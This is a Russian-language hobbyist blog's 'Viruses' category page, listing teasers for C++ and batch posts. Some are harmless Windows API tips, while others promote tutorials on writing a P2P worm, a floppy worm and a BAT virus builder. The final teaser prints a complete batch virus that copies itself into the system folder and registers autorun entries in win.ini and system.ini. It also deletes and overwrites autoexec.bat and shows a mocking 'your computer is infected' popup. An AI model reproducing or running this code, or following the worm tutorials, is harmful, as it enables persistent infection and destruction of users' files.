Познавательный блог Мобильная врсия

Страницы

Промо

Архив рубрики 'Вирусы'

Как узнать и изменить цвета оформления Windows на C++

Как узнать и изменить цвета оформления Windows на C++. Все окошки, кнопочки, формочки и любые элементы оформления Windows настраиваются. настраиваются они цветами. Так вот в стандартной теме оформления можно узнать какие сейчас используются цвета в системе. И изменить их по своему усмотрению. Помнится в молодости все боялись одной утилитки. После её запуска, все элементы оформления становились черными. ;) Я оч испугался тогда, оказалось, это был не вирус а лишь безобидная шутка.

char* sys_colors_id[] = {
"ActiveBorder", "ActiveTitle", "AppWorkSpace", "Background", "ButtonAlternateFace",
"ButtonDkShadow","ButtonFace", "ButtonHilight", "ButtonLight", "ButtonShadow",
"ButtonText", "GradientActiveTitle","GradientInactiveTitle","GrayText", "Hilight",
"HilightText", "HotTrackingColor", "InactiveBorder", "InactiveTitle","InactiveTitleText",
"InfoText", "InfoWindow", "Menu","MenuBar", "MenuHilight", "MenuText", "Scrollbar",
"TitleText", "Window", "WindowFrame", "WindowText"};

Читать полностью →

Как узнать папку куда установлена Windows на C++

Как узнать папку куда установлена Windows на C++. Как определить папку WIndows. Функция

GetWindowsDirectory — возвращает путь к каталогу Windows. Этот каталог содержит файлы приложений Windows, файлы инициализации .ini и файлы справок .hlp. В этом каталоге вы можете хранить файлы инициализации и файлы справок своего приложения. Если приложение создает другие файлы, которые вы хотите хранить, не допуская к ним других пользователей, то помещайте их в каталог, указанный в переменной окружения HOMEPATH. При соответствующей установке этот каталог различен для всех пользователей.

GetWindowsDirectory(windir,sizeof(windir));

Читать полностью →

Завершить процесс по имени его файла. Простейший антивирус на C++.

Завершить процесс по имени его файла. Простейший антивирус. Закрыть по имени файла на C++

Нижеприведенный код закрывает приложения, имена которых совпадают с указанными в начале.Перебирай все процессы, программа ищет совпадения с именами файлов и завершает неугодные приложения.

Читать полностью →

Несложный резидентный вирус-червь на C++

Устроившись работать программистом в свой родной ВУЗ, я обнаружил интересную вещицу. На некоторых компах периодически стучал флоппи-дисковод. Пытался читать или писать данные на дискету. Каково было мое удивление, когда я узнал в этом засранце свое 1курсное творение :). Которое каким-то образом выбралось на свободу. Этот вирус писался исктлючительно как научный эксперимент к двум моим научным статьям о вирусах, но как этот черт выбрался для меня осталось загадкой. Кстати обе статьи я опубликую на сайте, после их публикации в научном сборнике.

Вирусом, как таковым это назвать сложно, так как ничего кроме копирования на дискеты он не делает. Но сделана работа была на славу. Поехали...

Читать полностью →

Конструктор BAT вирсуов на C++

Джексон: (саркастически) О. Вы правы!
Мы… мы просто загрузим на их главный
корабль компьютерный вирус!

«Звёздные врата SG-1»

Конструктор BAT вирсуов на C++

Читать полностью →

Куда чаще всего прячутся вирусы

Привет всем. В этой статье я поведаю вам приемы для программирования червей и троянов. Чтобы быть подкованным и без помощи антивирусы расправиться с любым вирусом, Вам стоит это прочесть.
Долго распинаться не буду, и перейду сразу к делу:

Для начала приведу список мест в реестре, где они могут поселиться на автозагрузку.

Читать полностью →

Исследование технологий HLL* Вирусов на C++

HLL* — High Level Language Virus , написанные на языках высокого уровня, в большинстве случаев имеющие большой размер (порядка 50-300 Кб).
Языками высокого уровня называют все языки программирования кроме ассемблера. Так как на ЯВУ хорошо писать только червей и троянов, так и поэтому шанс выжить у зверков не так уж и высок. Хотя все зависит от кода, да и запаковать файл не сложно. Всяких утилит сейчас полно. Однако если паковать файл, то могут возникнуть проблемы с заражением файлов. Итак, расскажу какие монстры бывают и на какие делятся группы:

Читать полностью →

Worm.P2P своими руками

Приветствую всех начинающих и не только кодеров и хакеров.
В своей статье я сегодня расскажу про то, каким образом на языке C++ можно без особых мучений написать несложный P2P.Worm.
В общем, на идею создания этого червяка меня натолкнул появившийся недавно в сети Вирус Mydoom.
Итак, начнем - В Интернете существует бесплатная файлообменная сеть, с помощью, которой пользователи со всего мира спокойно могут пробежаться по открытым каталогам, таких же пользователей!
В общем, в этой сети закон отсутствует и качают все, что можно и нельзя. Все засеяно смешными троянами и червяками.
И между прочим Mydoom тоже размножался через эту сеть. Приведу краткий алгоритм работы:

Читать полностью →

Описания вирусов Bat.kx

Ты еще таким страдаешь? Да и я тоже страдал. Ну давай делиться секретами. Вот старый вирёк Kx. Почему такое название? не знаю :) Здесь типичный вирек частично зашифрованный и имеющий возможность проверять комп на заражение. Это конечно не самый мелкий вирь, но к мелким вполне отнесется. Вот текст первого:

Читать полностью →

Эволюция вирусописания часть 1

Это первый найденный прототип!

@echo off
copy cs.bat c:/%windir%/system
echo run=c:/%windir%/system/cs.bat >> win.ini
echo run=c:/%windir%/system/cs.bat >> system.ini
echo MY NAME IS cs
label LOHOLAMMER
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo YOU ARE LAMMER!!!! > c:\autoexec.bat
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,!! Ваш комппьютер заражен вирусом, а избавиться от
него нельзя, хе-хе-хе"); >> %temp%\mes.js start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
pause
cls

Читать полностью →



Поиск по сайту

Статистика

Мета

  Разработка и дизайн — StvPromo.ru